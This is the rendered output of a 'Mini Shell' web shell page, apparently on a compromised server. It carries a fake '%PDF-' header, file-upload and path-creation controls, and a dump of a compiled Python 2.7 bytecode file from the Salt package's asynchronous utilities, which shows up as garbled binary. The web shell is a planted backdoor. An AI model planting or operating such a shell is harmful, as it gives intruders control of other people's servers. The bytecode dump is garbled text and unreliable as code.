%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/utils/asynchronous.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddl	m
Z
ejd��Zde
fd��YZdS(u;
Helpers/utils for working with tornado asynchronous stuff
i(tabsolute_importtprint_functiontunicode_literalsN(tzeromqcc@s7tjjj�}|j�z	dVWd|j�XdS(uW
    A context manager that will set the current ioloop to io_loop for the context
    N(ttornadotiolooptIOLooptcurrenttmake_current(tio_loopt	orig_loop((s;/usr/lib/python2.7/site-packages/salt/utils/asynchronous.pytcurrent_ioloops

	tSyncWrappercB@s;eZdZe�dd�Zd�Zd�Zd�ZRS(u�
    A wrapper to make Async classes synchronous

    This is uses as a simple wrapper, for example:

    asynchronous = AsyncClass()
    # this method would reguarly return a future
    future = asynchronous.async_method()

    sync = SyncWrapper(async_factory_method, (arg1, arg2), {'kwarg1': 'val'})
    # the sync wrapper will automatically wait on the future
    ret = sync.async_method()
    cC@s]|dkri}ntj�|_|j|d<t|j��|||�|_WdQXdS(Nuio_loop(tNoneRtZMQDefaultLoopR	Rtasynchronous(tselftmethodtargstkwargs((s;/usr/lib/python2.7/site-packages/salt/utils/asynchronous.pyt__init__)s	
c@s~ytj�|�SWn(tk
r>}|dkr?|�q?nXt�j|��t�d�rv��fd�}|S�SdS(Nuasynchronousu__call__c@sTt�j��?�||�}t|tjj�rF�j|�}n|SWdQXdS(N(RR	t
isinstanceRt
concurrenttFuturet
_block_future(RRtret(tattrR(s;/usr/lib/python2.7/site-packages/salt/utils/asynchronous.pytwrap;s
(tobjectt__getattribute__tAttributeErrortgetattrRthasattr(RtkeytexR((RRs;/usr/lib/python2.7/site-packages/salt/utils/asynchronous.pyR3s
c@s3�jj|�fd���jj�|j�S(Nc@s
�jj�S(N(R	tstop(tfuture(R(s;/usr/lib/python2.7/site-packages/salt/utils/asynchronous.pyt<lambda>Hs(R	t
add_futuretstarttresult(RR$((Rs;/usr/lib/python2.7/site-packages/salt/utils/asynchronous.pyRGs
cC@s�t|d�rot|jd�r1|jj�n"t|jd�rS|jj�n|`|jj�|`n%t|d�r�|jj�|`ndS(ug
        On deletion of the asynchronous wrapper, make sure to clean up the asynchronous stuff
        uasynchronousucloseudestroyuio_loopN(R RtclosetdestroyR	(R((s;/usr/lib/python2.7/site-packages/salt/utils/asynchronous.pyt__del__Ls
	
N(	t__name__t
__module__t__doc__ttupleR
RRRR+(((s;/usr/lib/python2.7/site-packages/salt/utils/asynchronous.pyRs


		(R.t
__future__RRRttornado.ioloopRttornado.concurrentt
contextlibt
salt.utilsRtcontextmanagerRRR(((s;/usr/lib/python2.7/site-packages/salt/utils/asynchronous.pyt<module>s

Zerion Mini Shell 1.0